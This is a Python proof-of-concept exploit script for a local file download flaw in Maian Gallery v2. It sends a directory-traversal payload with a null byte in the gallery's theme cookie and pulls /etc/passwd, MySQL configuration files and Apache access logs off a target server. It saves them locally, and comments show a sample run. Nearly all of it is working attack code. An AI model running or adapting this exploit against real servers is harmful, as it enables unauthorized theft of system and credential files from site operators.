Maian Gallery 2 - Local File Download Vulnerability

                                                #!/usr/bin/python
#
# This vulnerability uses file_get_contents()
# so we have some limitations, we cant execute PHP
# and we cant read files that the web server will
# interpret such as PHP, conf etc
#
# tested on: Ubuntu Linux 2.6.32 with php v5.3.2
# register_globals = Off
#
# PRIVATE 0DAY - code by mr_me
# Vulnerability found by my special PHP friend and is now patched, hence this PoC ;)
# 
# mr_me@1337:~$ sudo ~/maian.py -p 127.0.0.1:8080 -t localhost -d /maian_gallery/ -o /home/mr_me/
#
#		| ------------------------------------------------------------- |
#		|        -= Maian Gallery v2 Local File Download Exploit =      |
#		| ---------------------------[ by mr_me ]---------------------- |
#
# (+) Checking target @: http://localhost/maian_gallery/
#
# (+) Testing Proxy...
# (+) Proxy working! 127.0.0.1:8080
# (+) Building Handler..
# (+) File download is working!
# (+) Looking for remote configuration files and saving them to /home/mr_me/
# (+) Found file on remote host @ /var/log/apache2/access.log
# (+) Found file on remote host @ /etc/mysql/my.cnf
# (+) Found file on remote host @ /etc/passwd
# (!) Done!
#

import sys, os, httplib, socket, urllib2, re
from optparse import OptionParser

usage= "./%prog [<options>] -t [target] -d [directory] -o [output dir to save files]"
usage += "\nExample : ./%prog -p 203.167.876.54:80 -t localhost -d maian_gallery/"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The target server")
parser.add_option("-d", type="string", action="store", dest="directory",
                  help="The dir path to maian gallery")
parser.add_option("-o", type="string", action="store", dest="outputDir",
                  help="Output dir to save all files")
(options, args) = parser.parse_args()

def banner():
    print "\n\t\t| ------------------------------------------------------------ |"
    print "\t\t|        -= Maian Gallery v2 Local File Download Exploit =-    |"
    print "\t\t| ---------------------------[ by mr_me ]--------------------- |\n"

if len(sys.argv) < 4:
	banner()
        parser.print_help()
        sys.exit(1)

def getProxy():
	try:
        	pr = httplib.HTTPConnection(options.proxy)
        	pr.connect()
        	proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
	except(socket.timeout):
                print "\n(-) Proxy Timed Out"
                sys.exit(1)
	except(),msg:
                print "\n(-) Proxy Failed"
                sys.exit(1)
	return proxy_handler

dltest = "etc/passwd"
dotDotSlash = '../../../../../../../../../'
findAllFiles = ['/var/log/apache2/access_log', '/var/log/apache2/access.log', 
'/etc/mysql/my.cnf', '/etc/my.cnf', '/etc/passwd', '/etc/apache2/httpd.conf']

if options.target[0:6] != 'http://':
	options.target = "http://" + options.target

def getRequest(localFile):
	if options.proxy:
		try:
        		proxyfier = urllib2.build_opener(getProxy())
        		proxyfier.addheaders = [('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00")]
        		check = proxyfier.open(options.target+options.directory).read()
		except urllib2.HTTPError, error:
                        check = error.read()
	else:
		try:
        		req = urllib2.Request(options.target+options.directory)
        		req.add_header('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00")
        		check = urllib2.urlopen(req).read()
		except urllib2.HTTPError, error:
			check = error.read()
	return check

banner()

print "(+) Checking target @: %s" % (options.target+options.directory)
if options.proxy:
	print "\n(+) Testing Proxy..."
	print "(+) Proxy working! %s" % (options.proxy)
	print "(+) Building Handler.."
check = getRequest(dltest)
if re.findall("root:x:", check):
	print "(+) File download is working!"
	print "(+) Looking for remote configuration files and saving them to %s" % (options.outputDir)
	for f in findAllFiles:
		checkFile = getRequest(f)
		if len(checkFile) > 0:
			print "(+) Found file on remote host @ %s" % (f)
			filenames = f.split('/') 
			try:
				ff = open(options.outputDir+filenames[len(filenames)-1]+'.txt','w')
				ff.write(checkFile)
				ff.close()
			except:
				print "(-) Cannot save remote files locally.. check your path"
	print "(!) Done!\n"			
else:
    	print "(-) Target not vulnerable to the file download vulnerability"